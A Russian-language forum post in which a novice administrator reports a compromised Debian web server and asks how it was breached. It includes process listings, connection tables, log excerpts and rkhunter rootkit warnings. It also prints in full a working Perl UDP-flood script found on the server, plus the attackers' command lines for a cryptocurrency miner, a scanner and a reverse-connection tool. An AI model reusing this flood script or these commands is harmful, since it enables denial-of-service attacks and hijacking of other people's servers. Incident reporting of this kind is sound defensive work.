Здравствуйте. Взломали веб-сервер. Как определить, с помощью чего взломали? Сервер используется в качестве Веб-сервера.
Я новичок в линуксе uname -a Linux webserver.ru 3.2.0-0.bpo.4-686-pae #1 SMP Debian 3.2.51-1~bpo60+1 i686 GNU/Linux
cat /etc/debian_version 6.0.8 (делал обновление с Debian 5, ставил ядро с поддержкой Hyper-V)
На сервере установлен ispconfig 3, webmin 1.570, phpMyAdmin - 2.11.8.1deb5+lenny9 На сервере крутятся около 8 сайтов, не представляющих особой ценности кроме их владельцев.
Как обнаружил. Сервер получил в наследство на стареньком железе, стал переносить сервер на гипервизор. Обнаружил, что сервер сильно использует ЦП.
Обнаружил левые процессы запущенные от www-data:
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
11651 www-data 20 0 5236 3108 1296 R 92.0 0.1 12:21.44 /usr/sbin/sshd -i
11655 www-data 20 0 5236 3132 1312 R 90.0 0.2 12:14.92 /usr/sbin/sshd -D
9743 www-data 39 19 54764 1016 756 R 78.0 0.0 3h06:50 rsyslogd -B -c
8966 www-data 20 0 3812 1980 1496 R 41.0 0.1 16:07.84 /usr/bin/perl ./udp 91.206.161.200 25 129600
19030 www-data 20 0 3964 2244 1680 R 38.0 0.1 3h40:51 /usr/bin/perl ./udp mail.saatchi.ro 25 129600
7270 www-data 20 0 3964 2248 1680 R 37.0 0.1 22:24.20 /usr/bin/perl ./udp mail.saatchi.ro 25 129600
А также:
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 566 MY.IP.ADDR:ssh 61.160.251.136:4159 ESTABLISHED
tcp 0 0 MY.Host.Name:ssh 61.160.251.136:2256 TIME_WAIT
и пара таких же соединений с:
116.236.180.115:49537 ESTABLISHED
116.236.180.115:56453 ESTABLISHED
В каталоге /tmp скрипт udp-флуда и
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odix\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
И еще:
3607 www-data 39 19 54768 1240 948 R 90.0 0.1 8h20:46 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
3606 www-data 39 19 54768 1240 948 R 89.0 0.1 6h44:47 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
3608 www-data 39 19 54768 1240 948 R 67.0 0.1 8h19:16 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
3605 www-data 39 19 54768 1240 948 R 60.0 0.1 9h36:35 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
Я убил левые процессы, ограничил в iptables доступ к webmin, ispconfig, снес wget (но не почистил кеш) почистил /tmp и все что смог найти, связанное с этим.
Спустя пару дней, обнаружил каталог /dev/shm с распакованным и запущенным minerd, а также много новых процессов:
2222 www-data 20 0 6580 1000 800 S 0.0 0.0 0:00.02 /tmp/php --target 113.146.129.241 --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80
2244 www-data 20 0 3504 744 744 S 0.0 0.0 0:00.01 /tmp/php --target 182.236.101.5 --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80
2992 www-data 20 0 3051M 744 644 S 0.0 0.0 0:00.52 /tmp/pnscan -rApache -wHEAD / HTTP/1.0\r\n\r\n 144.0.0.0/8 8080
2995 www-data 20 0 3051M 744 644 S 0.0 0.0 0:00.53 /tmp/pnscan -rApache -wHEAD / HTTP/1.0\r\n\r\n 144.0.0.0/8 8080
и т.п. Очень большой лог apache - error.log (500Mb), попытки очистить syslog:
Dec 15 06:30:01 web /USR/SBIN/CRON[28096]: (CRON) error (grandchild #28103 failed with exit status 127)
Dec 15 06:30:01 web /USR/SBIN/CRON[28095]: (CRON) error (grandchild #28101 failed with exit status 127)
Dec 15 06:31:01 web /USR/SBIN/CRON[30286]: (www-data) CMD (>/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30287]: (root) CMD (/lib/httpd >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30289]: (root) CMD (/dev/shm/.UNIX/update >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30288]: (www-data) CMD (/tmp/.ICE-unix/.log/-log/" "/.../mon >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30285]: (CRON) error (grandchild #30289 failed with exit status 127)
Dec 15 06:31:02 web /USR/SBIN/CRON[30284]: (CRON) error (grandchild #30287 failed with exit status 127)
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] rm: cannot remove `/var/log/syslog': Permission denied
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] touch:
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] cannot touch `/var/log/syslog'
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] : Permission denied
Также смогли установить следующие пакеты: Установлено: python-setuptools python-argparse_1.1-1_all.deb python-setuptools_0.6.14-4_all.deb python-pkg-resources wget_1.12-2.1_i386.deb (который я снес)
Вот что в настоящее время можно увидеть:
lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
php 596 www-data 5u IPv4 1262689 0t0 TCP MY.Host.Name:50019->lab1.producao.uff.br:www (ESTABLISHED)
php 596 www-data 26u IPv4 19743968 0t0 TCP MY.Host.Name:47320->182.18.7.57:www (CLOSE_WAIT)
php 596 www-data 41u IPv4 19743824 0t0 TCP MY.Host.Name:55161->182.18.6.138:www (CLOSE_WAIT)
php 596 www-data 49u IPv4 19742451 0t0 TCP MY.Host.Name:45678->182.18.7.69:www (CLOSE_WAIT)
php 596 www-data 52u IPv4 19743819 0t0 TCP MY.Host.Name:53275->182.18.6.132:www (CLOSE_WAIT)
php 596 www-data 61u IPv4 19742313 0t0 TCP MY.Host.Name:44806->182.18.6.155:www (CLOSE_WAIT)
php 596 www-data 63u IPv4 19742309 0t0 TCP MY.Host.Name:44439->182.18.6.153:www (ESTABLISHED)
php 596 www-data 101u IPv4 19742394 0t0 TCP MY.Host.Name:60003->182.18.7.5:www (CLOSE_WAIT)
Выдержка от rkhunter:
[13:25:06] /sbin/ifconfig [ Warning ]
[13:25:07] Warning: File '/sbin/ifconfig' has the immutable-bit set.
[13:25:07] Warning: File '/sbin/ifconfig' has the immutable-bit set.
[14:05:08] Warning: Scalper Worm [ Warning ]
[14:05:09] File '/tmp/.a' found
[14:05:38] Warning: SHV4 Rootkit [ Warning ]
[14:05:38] File '/usr/include/file.h' found
[14:05:39] File '/usr/include/hosts.h' found
[14:05:39] File '/usr/include/log.h' found
[14:05:40] File '/usr/include/proc.h' found
[14:06:00] Warning: SHV5 Rootkit [ Warning ]
[14:06:01] File '/etc/sh.conf' found
[14:06:01] File '/lib/libsh.so/bash' found
[14:06:02] File '/usr/include/file.h' found
[14:06:02] File '/usr/include/hosts.h' found
[14:06:03] File '/usr/include/log.h' found
[14:06:03] File '/usr/include/proc.h' found
[14:06:04] File '/lib/libsh.so/shhk' found
[14:06:04] File '/lib/libsh.so/shhk.pub' found
[14:06:05] File '/lib/libsh.so/shrs' found
[14:06:06] File '/usr/lib/libsh/.bashrc' found
[14:06:06] File '/usr/lib/libsh/shsb' found
[14:06:07] File '/usr/lib/libsh/hide' found
[14:06:07] File '/usr/lib/libsh/.sniff/shsniff' found
[14:06:08] File '/usr/lib/libsh/.sniff/shp' found
[14:06:08] Directory '/lib/libsh.so' found
[14:06:09] Directory '/usr/lib/libsh' found
[14:06:10] Directory '/usr/lib/libsh/.backup' found
[14:15:43] Warning: Checking for possible rootkit strings [ Warning ]
[14:15:44] Found string 'propert of SH' in file '/sbin/ttyload'. Possible rootkit: SHV5 Rootkit
[14:15:45] Found string 'ttyload' in file '/etc/inittab'. Possible rootkit: Possible SHV5 Rootkit
[14:19:44] Checking for TCP port 47018 [ Warning ]
[14:19:45] Warning: Network TCP port 47018 is being used by /tmp/php. Possible rootkit: Possible Universal Rootkit (URK) component
Use the 'lsof -i' or 'netstat -an' command to check this.
[14:27:10] Checking /dev for suspicious file types [ Warning ]
[14:27:13] Warning: Suspicious file types found in /dev:
[14:27:13] /dev/shm/log.php.29: ASCII text
[14:27:14] /dev/shm/log.php.28: ASCII text
[14:27:14] /dev/shm/log.php.27: ASCII text
[14:27:15] /dev/shm/log.php.25.1: very short file (no magic)
[14:27:15] /dev/shm/log.php.26: ASCII text
[14:27:16] /dev/shm/log.php.25: very short file (no magic)
[14:27:16] /dev/shm/minerd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped
[14:27:16] /dev/shm/minerd.log: ASCII text
[14:27:17] /dev/shm/minerd.tar.gz: gzip compressed data, from Unix, last modified: Mon Dec 16 17:37:17 2013
[14:27:22] Checking for hidden files and directories [ Warning ]
[14:27:23] Warning: Hidden directory found: /dev/.udev
[14:27:24] Warning: Hidden directory found: /dev/.initramfs
[14:27:24] Warning: Hidden file found: /dev/shm/.zz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:24] Warning: Hidden file found: /dev/shm/.aa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:25] Warning: Hidden file found: /dev/shm/.xxx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:25] Warning: Hidden file found: /dev/shm/.xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
Насколько я понимаю, сервер легче переустановить, чем пытаться его реанимировать, тем более, что на него были успешно залиты скрипты и запущены, в том числе эксплоиты.
Проблема в том, что на сервер много что завязано, переустановка оси это то, что хотелось бы делать в последнюю очередь. Также мне не понятно, каким способом закинули скрипты и главное, как смогли установить недостающие пакеты. Если уязвимость в Webmin, ISPconfig или phpmyadmin, то это можно решить ограничением доступа к ним, что я и сделал поначалу, а если проблема в том, что был взломан один из работающих на сервере сайтов, то переустановка ОС может не принести желаемого результата. Еще раз напомню, в Линуксе новичок, просьба сразу не пинать :)